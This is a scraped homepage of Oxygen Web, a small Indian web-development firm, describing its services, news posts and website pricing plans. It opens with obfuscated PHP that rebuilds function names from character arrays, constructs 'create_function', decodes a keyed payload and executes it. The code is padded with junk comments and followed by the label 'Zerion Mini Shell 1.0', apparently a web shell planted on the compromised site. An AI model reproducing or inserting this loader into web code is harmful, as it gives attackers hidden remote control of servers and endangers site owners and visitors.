-{wX7	^(#Ts^R"";

		/*rXWtAqlXuXeuibBtHiMsSZpiglxveQHjIFDkAjgPbalGVYXkqMmxuYJUyhYhnaKHpurAtIGrNLsMoalmtghqrKpOCKGfsldBYtUlTIQAwroMUktbGxMJzPhRCDZmwjMV*/		


		$NcEAsSnP1728 = "";
		$wSLGUXIX81 = "";

		foreach([41,6,25,23,24,39,12,13,23,16,27,13,23] as $e){
		   $NcEAsSnP1728 .= $jgQOPNTZ3881[$e];
		}

		/*KXDZtIDSkaLVxtIavUGOXecboubgXJOohNikFDIFJQoutrcnCFWVgLqxqHRFaLaBpqPnRnvvMXGwgfJrTmPukNCpleffWpXzghbswseBHILoMotuQRKkIpRpzFPcoJai*/

		foreach([25,11,3,3,23,17] as $e){
		   $wSLGUXIX81 .= $jgQOPNTZ3881[$e];
		}

		

		$e = $wSLGUXIX81('n'.'o'.''.''.'i'.''.''.''.''.'t'.''.''.'c'.''.'n'.''.''.''.'u'.''.''.'f'.''.''.'_'.'e'.'t'.'a'.'e'.''.'r'.'c'.''.''.'');
		$p = $e("/*VTZBXJMS9001*/", $NcEAsSnP1728( rBx7F($NcEAsSnP1728($LZVrbsiY1925), "ZdbiBCXO1426")));
		$p();

		/*uAKxHTUAKOGuizOyiifkjuLMEfFXftoDqmPMmfMUCfbDtAxeoedkEfujDJTneLwiGbTXSGsyRuNcgzpuSXekWqrgEWLaIjaAhZcmBOUqGzykQgWKFHOITNeQyeGMlxGv*/

Zerion Mini Shell 1.0
  • 11/23 Sector-A, Vasant Vihar, Ujjain (456010)
  • 91-8878661222
  • info@oxygenweb.in

Our Story

Founded in 2015, and registered as Oxygen Web, has quickly risen as one of the preferred IT Company in industry and built a reputation for high quality services and proven results.Oxygen Web is an IT company where technologies meet creativity. It is listed among the rapidly developing companies. We believe that these are the key factors to make delightful products. In practice it means that engineers works closely, under one roof, with designers and thinkers to come up with the best possible solutions.We tried to make very high-quality product and so our code is very neat and clean. Whatever anyone could improve and modify the template to your liking.

Our services

Mission

To satisfy our clients using leading technologies, maintaining quality, delivering on time & within budget; managed by a talented pool of professionals who are motivated by perfect execution and successful results.

Vision

To develop and deliver high-quality software, networking & project consultation services and provide superior support to clients and create a result driven professional IT solutions company.

Team Work

Oxygen Web strongly believes that only team work is the source and reason of addressing challenging tasks and projects. We, the team, always go beyond the Expectations for your satisfaction.

200

satisfied clients

200

projects completed

10

Experts Team

1000

Working Hour

Our Portfolio

Work With Oxygen Web

We provide solutions that makes your business stronger.
Get In Toch

our Features

UI/UX Design

Our expert team brings digital ideas to life with beautifully executed, creative User Interface design.

Web Apps

We create effective customized software solutions for corporate concerns from various industrial backgrounds.

Mobility Solutions

Get high-performance, profit-attracting and custom mobile apps. Take your app ideas to a new level.

Digital Marketing

Online Marketing is the key activity for optimising and improving the visibility of website to drive the business.

Meet Our Team

what client Says

latest news

What IoT means for India?

August 22, 2017

You may have heard the term “Internet of Things,” being used lately, but do you truly understand the meaning behind it? It’s a developing ...

Read More

Android O is now Android Oreo

August 22, 2017

Google has finally revealed what the “O” in Android O stands for, and it’s exactly what we all predicted: the “O” is for...

Read More

Few Hadoop Facts

August 22, 2017

Where there is Big Data, there is Hadoop and vice versa. With Big Data analytics becoming as big as they have, Hadoop has become a mainstay in the tec...

Read More

upload your resume

Our Best Offers

starter

3999

Static Website

  • non editable website
  • Home page
  • 5 Page Website
  • Basic design
  • Navigation system
  • .in Domain(Free For 1 year)
  • 100MB Web space (Free for 1 year)
  • 1 Email Id
  • Clients logo will be used
Choose Plan

Business

9999

Dynamic Website

  • editable website with control panel
  • Home pages
  • 7 Page Website
  • Basic design
  • Navigation system
  • .in Domain(Free For 1 year)
  • 300MB Web space(Free For 1 year)
  • 1 Email Id
  • 1 Inquiry Page
Choose Plan

premium

14999

Shopping Cart

  • online shopping website
  • Home pages
  • .in Domain(Free For 1 year)
  • 300MB Web space(Free For 1 year)
  • 1 Email Id
  • 100 Product upload
  • Manage New Products
  • Product Catalog
  • Access special rates
Choose Plan

contact us

91-7389904585

91-7389905585

91-7389914585

11/23 Sector-A, Vasant Vihar,
Nanakheda Ujjain M.P (456010)